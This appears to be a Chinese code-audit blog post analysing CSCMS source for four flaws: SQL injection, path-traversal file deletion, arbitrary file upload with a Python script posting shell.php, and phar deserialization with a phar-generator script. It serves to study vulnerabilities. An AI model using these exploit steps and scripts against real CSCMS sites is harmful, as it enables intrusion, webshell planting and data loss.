代码审计集合-3

admin 2022年9月19日00:45:50评论35 views字数 16474阅读54分54秒阅读模式

CSCMS代码审计

前言

今天逛补天社区的时候看到了一篇CSCMS代码审计的文章,于是自己也下了一个CSCMS来练练手。我目前挖的有以下漏洞。

  • SQL注入
  • 任意文件删除
  • 任意文件上传
  • 后台phar反序列化

CMS分析

在对一个cms进行代码审计之前,我们得对这个框架的一个结构进行简单的分析,如配置文件,入口文件,还有路由等。

路由分析

从文章可知,这个cms是基于CI框架编写的。而CI框架是通过/class/controller/method的方法来进行访问的。 如下http://cscms/index.php/dance/topic/lists/id/1

SQL注入

地址

upload/plugins/dance/Playsong.php

漏洞点

if(empty($_SERVER['HTTP_REFERER'])){exit('QQ:848769359');}

$zd = $this->input->get_post('zd',TRUE);

$row=$this->db->query("select id,cid,singerid,name,tid,fid,purl,sc,lrc,dhits".$zd." from ".CS_SqlPrefix."dance where id=".$id."")->row();

我们在访问的时候,必须在请求包上卖弄加一个Referer头,不然就会退出程序。 我们能看到$zd被直接拼接进了sql语句,我们来跟进get_post

public function get($index = NULL, $xss_clean = NULL, $sql_clean = FALSE)
 {
  return $this->_fetch_from_array($_GET$index$xss_clean$sql_clean);
 }

public function get_post($index$xss_clean = NULL, $sql_clean = FALSE)
 {
  return isset($_GET[$index])
   ? $this->get($index$xss_clean$sql_clean)
   : $this->post($index$xss_clean$sql_clean);
 }

这里对index就是我们传入的zd,这里会进入get函数,然后我们跟进_fetch_from_array

protected function _fetch_from_array(&$array$index = NULL, $xss_clean = NULL, $sql_clean = FALSE)
 {
  //省略
if (isset($array[$index]))
  {
   $value = $array[$index];
  }
    return $value;
    }

从这段我们可以看到这里的_GET['zd']然后返回。

检验

因为要加上refer头,我们直接抓包,然后通过-r指令去探测

代码审计集合-3
代码审计集合-3

漏洞利用成功

任意文件删除

地址

upload/plugins/sys/admin/Upload.php

利用点

public function del(){
        $this->Csadmin->Admin_Login();
         $path = $this->input->get('path',true);
  if(empty($path)){
   getjson(L('plub_01'));
  }
  if(Web_Path=='/'){
             if(substr($path,0,12)!='/attachment/'){
              getjson(L('plub_02'));
             }
  }else{
             $paths = str_replace(Web_Path,'',$path);
    if(substr($paths,0,11)!='attachment/'){
     getjson(L('plub_02'));
    }
  }
  $path=FCPATH.$path;
        var_dump($path);
        if (is_dir($path)) {
             deldir($path);
  }else{
    @unlink($path);
  }
        getjson(L('plub_03'),0);
 }

其中path被拼接了一个FCPATH判断是否为文件夹,不是的话就直接删除,这里我们可以通过../../../来绕过

检验

代码审计集合-3抓包改包

代码审计集合-3
代码审计集合-3

任意文件上传

地址

upload/plugins/sys/admin/Upload.php

利用点

public function up_save(){
        $key=$this->input->post('upkey',true);
        $this->Csadmin->Admin_Login($key);
        var_dump($key);
        $dir=$this->input->post('dir',true);
  if(empty($dir) || !preg_match('/^[0-9a-zA-Z_]*$/'$dir)) {  
            $dir='other';
  }
  //上传目录
  if(UP_Mode==1 && UP_Pan!=''){
      $path = UP_Pan.'/attachment/'.$dir.'/'.date('Ym').'/'.date('d').'/';
   $path = str_replace("//","/",$path);
  }else{
      $path = FCPATH.'attachment/'.$dir.'/'.date('Ym').'/'.date('d').'/';
  }
  if (!is_dir($path)) {
            mkdirss($path);
        }
  $tempFile = $_FILES['file']['tmp_name'];
  $file_name = $_FILES['file']['name'];
  $file_size = filesize($tempFile);
        $file_ext = strtolower(trim(substr(strrchr($file_name'.'), 1)));
        $file_type = $_FILES['file']['type'];

        //判断文件MIME类型
        if($file_type != 'application/octet-stream'){
            echo "ok";
            var_dump($file_type);
   $mimes = get_mimes();

   if(!is_array($mimes[$file_ext])) $mimes[$file_ext] = array($mimes[$file_ext]);
            var_dump($mimes[$file_ext]);
   if(isset($mimes[$file_ext]) && $file_type !== false && !in_array($file_type,$mimes[$file_ext],true)){
    getjson(L('plub_04'),1,1);
   }
  }

        //检查扩展名
  $ext_arr = explode("|", UP_Type);
        var_dump($ext_arr);
        if(!in_array($file_ext,$ext_arr,true)){
            getjson(L('plub_04'),1,1);
  }elseif(in_array($file_ext, array('gif''jpg''jpeg''jpe''png'), TRUE) && @getimagesize($tempFile) === FALSE){
            getjson(L('plub_05'),1,1);
  }
        //PHP上传失败
        if (!empty($_FILES['file']['error'])) {
            switch($_FILES['file']['error']){
             case '1':$error = L('plub_06');break;
             case '2':$error = L('plub_07');break;
             case '3':$error = L('plub_08');break;
             case '4':$error = L('plub_09');break;
             case '6':$error = L('plub_10');break;
             case '7':$error = L('plub_11');break;
             case '8':$error = 'File upload stopped by extension。';break;
             case '999':default:$error = L('plub_12');
            }
            getjson($error,1,1);
        }
        //新文件名
  $file_name=random_string('alnum', 20). '.' . $file_ext;
  $file_path=$path.$file_name;
  if (move_uploaded_file($tempFile$file_path) !== false) { //上传成功

                $filepath=(UP_Mode==1)?'/'.date('Ym').'/'.date('d').'/'.$file_name : '/'.date('Ymd').'/'.$file_name;

                //判断水印
                if($dir!='links' && CS_WaterMark==1){
     if($file_ext=='jpg' || $file_ext=='png' || $file_ext=='gif' || $file_ext=='bmp' || $file_ext=='jpge'){
                      $this->load->library('watermark');
                         $this->watermark->imagewatermark($file_path);
     }
                }

    //判断上传方式
                $this->load->library('csup');
    $res=$this->csup->up($file_path,$file_name);
    if($res){
     if($dir=='music' || $dir=='video'){
      if(UP_Mode==1){
          $filepath = 'attachment/'.$dir.$filepath;
      }else{
       $filepath = annexlink($filepath);
      }
     }
     getjson(array('msg'=>'ok','fileurl'=>$filepath),1,1);
    }else{
     @unlink($file_path);
                    getjson('no',1,1);
    }

  }else{ //上传失败
     getjson('no',1,1);
  }
 }

首先post一个dir目录如果dir为空则传入到other目录。我们继续看判断UP_mode的值,这个值在如下文件被定义,默认为1upload/cscms/config/sys/Cs_Ftp.php

<?php
define('UP_Mode',1);      //会员上传附件方式  1站内,2FTP,3七牛,4阿里云,5又拍云... 
define('UP_Size',20480);      //上传支持的最大KB 
define('UP_Type','mp3|mp4|jpg|gif|png|txt|zip|rar|php');  //上传支持的格式 
define('UP_Url','');  //本地访问地址 
define('UP_Pan','');  //本地存储路径 
define('FTP_Url','http://demo.chshcms.com/');      //远程FTP连接地址     
define('FTP_Server','127.0.0.1');      //远程FTP服务器IP    
define('FTP_Dir','');      //远程FTP目录    
define('FTP_Port','21');      //远程FTP端口    
define('FTP_Name','111');      //远程FTP帐号    
define('FTP_Pass','111');      //远程FTP密码    
define('FTP_Ive',TRUE);      //是否使用被动模式   

接下来就是去获取文件信息

$tempFile = $_FILES['file']['tmp_name'];
  $file_name = $_FILES['file']['name'];
  $file_size = filesize($tempFile);
        $file_ext = strtolower(trim(substr(strrchr($file_name'.'), 1)));
        $file_type = $_FILES['file']['type'];

这里判断content-type头是否为脚本类型,如果不是就会进入这个if里面,为了绕过,我们就把content-type改为application/octet-stream

if($file_type != 'application/octet-stream'){
            echo "ok";
            var_dump($file_type);
   $mimes = get_mimes();

   if(!is_array($mimes[$file_ext])) $mimes[$file_ext] = array($mimes[$file_ext]);
            var_dump($mimes[$file_ext]);
   if(isset($mimes[$file_ext]) && $file_type !== false && !in_array($file_type,$mimes[$file_ext],true)){
    getjson(L('plub_04'),1,1);
   }
  }

然后检查扩展名,UP_Type的值在上面有,这里如果后缀没有在UP_Type里就会报错,在后端的这个页面,我们可以把php加上去,绕过白名单。代码审计集合-3

//检查扩展名
  $ext_arr = explode("|", UP_Type);
        var_dump($ext_arr);
        if(!in_array($file_ext,$ext_arr,true)){
            getjson(L('plub_04'),1,1);
  }elseif(in_array($file_ext, array('gif''jpg''jpeg''jpe''png'), TRUE) && @getimagesize($tempFile) === FALSE){
            getjson(L('plub_05'),1,1);
  }

然后接下来就是去上传文件,这里对文件名不用过多关注,因为我们可以在这里直接去查看。代码审计集合-3

验证

一个python脚本

import requests


header={
    'Cookie':"cscms_session=vseensqpf3oa8lpf2069klrpjuhth95h"
}
url="http://cscms/admi  n.php/upload/up_save"
f=open('shell.php','rb')
file={'file':('shell.php', f, 'application/octet-stream')}
resp=requests.post(url=url,files=file,headers=header)
print(resp.text)
代码审计集合-3

phar反序列化

前言

即上次的phar反序列化的烂挖,我这次多留意了一下,没想到真的挖到了。

地址

upload/plugins/dance/admin/Saomiao.php

利用点

public function save(){
        $dir = $this->input->post('dir');
        $path = $this->input->post('path');
        $hz = $this->input->post('hz');
        $playhz = $this->input->post('playhz');
        $files = $this->input->post('files');
        $cid = intval($this->input->post('cid',true));
        $user = $this->input->post('user',true);
        $singer = $this->input->post('singer',true);

  if(empty($files)) exit('<span style="color:red;">抱歉,请选择要入库的数据~!</span><span style="color:#009688;">&nbsp;&nbsp;2秒后返回......</span><script>setTimeout(function(){location.href = history.back();},2000);</script>');
  if($cid==0) exit('<span style="color:red;">抱歉,请选择要入库的分类~!</span><span style="color:#009688;">&nbsp;&nbsp;2秒后返回......</span><script>setTimeout(function(){location.href = history.back();},2000);</script>');

        $dir=str_replace("\","/",$dir);   
        $dir=str_replace("//","/",$dir);

        $path=str_replace("\","/",$path);
        $path=str_replace("//","/",$path);

        $hz=str_replace("php","",$hz);
        $hz=str_replace("||","|",$hz);
        echo "okkk";
        //入库开始
        $data['cid']=$cid;
        $data['tid']=intval($this->input->post('tid'));
        $data['fid']=intval($this->input->post('fid'));
        $data['reco']=intval($this->input->post('reco'));
        $data['uid']=intval(getzd('user','id',$user,'name'));
        $data['lrc']='';
        $data['text']='';
        $data['cion']=intval($this->input->post('cion'));
        $data['vip']=intval($this->input->post('vip'));
        $data['level']=intval($this->input->post('level'));
        $data['tags']=$this->input->post('tags',true);
        $data['zc']=$this->input->post('zc',true);
        $data['zq']=$this->input->post('zq',true);
        $data['bq']=$this->input->post('bq',true);
        $data['hy']=$this->input->post('hy',true);
        $data['singerid']=intval(getzd('singer','id',$singer,'name'));
        $data['skins']=$this->input->post('skins',true);
        $data['addtime']=time();

        echo '<LINK href="'.base_url().'packs/admin/css/style.css" type="text/css" rel="stylesheet"><script src="'.base_url().'packs/js/jquery.min.js"></script>';
        echo "ok123";
  $filearr=explode("rn",$files);
        var_dump($filearr);
        for($i=0;$i<count($filearr);$i++){
   $file = get_bm($filearr[$i],'utf-8','gbk');
   $file = str_replace("//","/",$file);
   if(substr($file,0,2) == "./"){
       $file = substr($file,1);
    $dir = $_SERVER['DOCUMENT_ROOT'];
       $file = $dir.$file;
   }
   if(is_dir($file)){  //文件夹
                echo "okfile";
       $strs = $this->dirtofiles($file,$hz);
                var_dump($strs);
    if(!empty($strs)){
           foreach ($strs as $value) {  
               if(!empty($value)){
                   $dance = addslashes(get_bm($value));
       $dance = str_replace($dir,"",$dance);
       $exts = trim(strrchr($dance'.'), '.');
       $name = end(explode("/",$dance));
                   $data['name'] = str_replace('.'.$exts,'',$name);
       $data['purl'] = $dance;
                   $data['durl'] = $dance;
                   //判断视听后缀
                   if(!empty($playhz)){
                    $data['purl'] = str_replace('.'.$exts,'.'.$playhz,$data['purl']);
                   }

       //判断数据是否存在
                            echo "ok";
       $row=$this->db->query("SELECT id FROM ".CS_SqlPrefix."dance where durl='".$data['durl']."'")->row();
       if($row){

                       echo "<br>&nbsp;&nbsp;<font style=font-size:10pt;>&nbsp;&nbsp;".$dance."<font color=red>&nbsp;已经存在,入库失败...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";

       }else{

            $data['dx']=formatsize(filesize($value));
                                 var_dump($value);
                                 echo "okj";
            $info=$this->djinfo($value);
            if($info){
             $data['dx']=$info['dx'];
             $data['yz']=$info['yz'];
             $data['sc']=$info['sc'];
            }

                        $this->Csdb->get_insert('dance',$data);
                        echo "<br>&nbsp;&nbsp;<font style=font-size:10pt;>&nbsp;&nbsp;".$dance."<font color=#009688;>&nbsp;操作成功,入库完成...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";
                        flush();ob_flush();
       }
      }
     }
    }
   }else{  //文件

       if(!empty($file)){
                    echo "112321";
              $dance = addslashes(get_bm($file));
     $dance = str_replace($dir,"",$dance);
     $exts = trim(strrchr($dance'.'), '.');
     $name = end(explode("/",$dance));
              $data['name'] = str_replace('.'.$exts,'',$name);
     $data['purl'] = $dance;
              $data['durl'] = $dance;
              //判断视听后缀
              if(!empty($playhz)){
               $data['purl'] = str_replace('.'.$exts,'.'.$playhz,$data['purl']);
              }
                    var_dump($playhz);
     //判断数据是否存在
                    var_dump($data['durl']);
     $row=$this->db->query("SELECT id FROM ".CS_SqlPrefix."dance where durl='".$data['durl']."'")->row();
     if($row){
                    echo "<br>&nbsp;&nbsp;<font style=font-size:10pt;>&nbsp;&nbsp;".$dance."<font color=red>&nbsp;已经存在,入库失败...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";

     }else{
                        echo "okokfuckfuck";
      $data['dx']=formatsize(filesize($file));
                        var_dump($file);
         $info=$this->djinfo($file);
         if($info){
          $data['dx']=$info['dx'];
          $data['yz']=$info['yz'];
          $data['sc']=$info['sc'];
           }

                    $this->Csdb->get_insert('dance',$data);
                    echo "<br>&nbsp;&nbsp;<font style=font-size:10pt;>&nbsp;&nbsp;".$dance."<font color=#009688;>&nbsp;操作成功,入库完成...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";
     }
     flush();ob_flush();
    }
   }
  }
        die("<br>&nbsp;&nbsp;&nbsp;&nbsp;<font style=color:red;font-size:14px;><b>操作完毕,3秒后返回...</b><br></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;setTimeout('ReadGo();',3000);function ReadGo(){window.location.href ='javascript:history.go(-2);'}</script>");
 }

首先是传递参数

$dir = $this->input->post('dir');
        $path = $this->input->post('path');
        $hz = $this->input->post('hz');
        $playhz = $this->input->post('playhz');
        $files = $this->input->post('files');
        $cid = intval($this->input->post('cid',true));
        $user = $this->input->post('user',true);
        $singer = $this->input->post('singer',true);

这边是对后缀的过滤,可以看到,这边也可以传shell,只要双写过滤就好,我们这边把phar改为png文件就行。

  $dir=str_replace("\","/",$dir);   
        $dir=str_replace("//","/",$dir);

        $path=str_replace("\","/",$path);
        $path=str_replace("//","/",$path);

        $hz=str_replace("php","",$hz);
        $hz=str_replace("||","|",$hz);

接下来是判断file是目录还是文件,我们看到下面的else

$row=$this->db->query("SELECT id FROM ".CS_SqlPrefix."dance where durl='".$data['durl']."'")->row();
     if($row){
                    echo "<br>&nbsp;&nbsp;<font style=font-size:10pt;>&nbsp;&nbsp;".$dance."<font color=red>&nbsp;已经存在,入库失败...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";

     }else{
                        echo "okokfuckfuck";
      $data['dx']=formatsize(filesize($file));
                        var_dump($file);
         $info=$this->djinfo($file);
         if($info){
          $data['dx']=$info['dx'];
          $data['yz']=$info['yz'];
          $data['sc']=$info['sc'];
           }

                    $this->Csdb->get_insert('dance',$data);
                    echo "<br>&nbsp;&nbsp;<font style=font-size:10pt;>&nbsp;&nbsp;".$dance."<font color=#009688;>&nbsp;操作成功,入库完成...</font></font><script>document.getElementsByTagName('BODY')[0].scrollTop=document.getElementsByTagName('BODY')[0].scrollHeight;</script>";
     }

可以看到,扫描后,就会把文件路径给放入数据库中,如果数据库没有,就会有入库的操作,我们看到djinfo函数

public function djinfo($dir){
        echo "ojbkc";
        if(!file_exists($dir)) return false;
  $music = $this->mp3file->get_metadata($dir);
        if(!empty($music['Filesize']) && !empty($music['Bitrate']) && !empty($music['Length mm:ss'])){
           return array("dx"=>formatsize($music['Filesize']),"yz"=>$music['Bitrate']." Kbps","sc"=>$music['Length mm:ss']);
        }else{
        return false;
        }
 }

这里传入一个参数,然后file_exists去判断文件是否存在,这里我们可以把file传入一个phar伪协议,成功执行反序列化。

检验

写一个测试类

代码审计集合-3
<?php 
class test {
    public  function __wakeup()
    {
        phpinfo();
    }
}

$t=new test();
echo serialize($t);
 $phar = new Phar("test.phar");
$phar->startBuffering();
 $phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($t);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

 ?>

生成后的phar改为png上传。 抓包

代码审计集合-3因为这里会对/进行过滤,我们多加一个/就好。 成功执行

原文始发于微信公众号(珠天PearlSky):代码审计集合-3

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月19日00:45:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计集合-3https://cn-sec.com/archives/1302788.html

发表评论

匿名网友 填写信息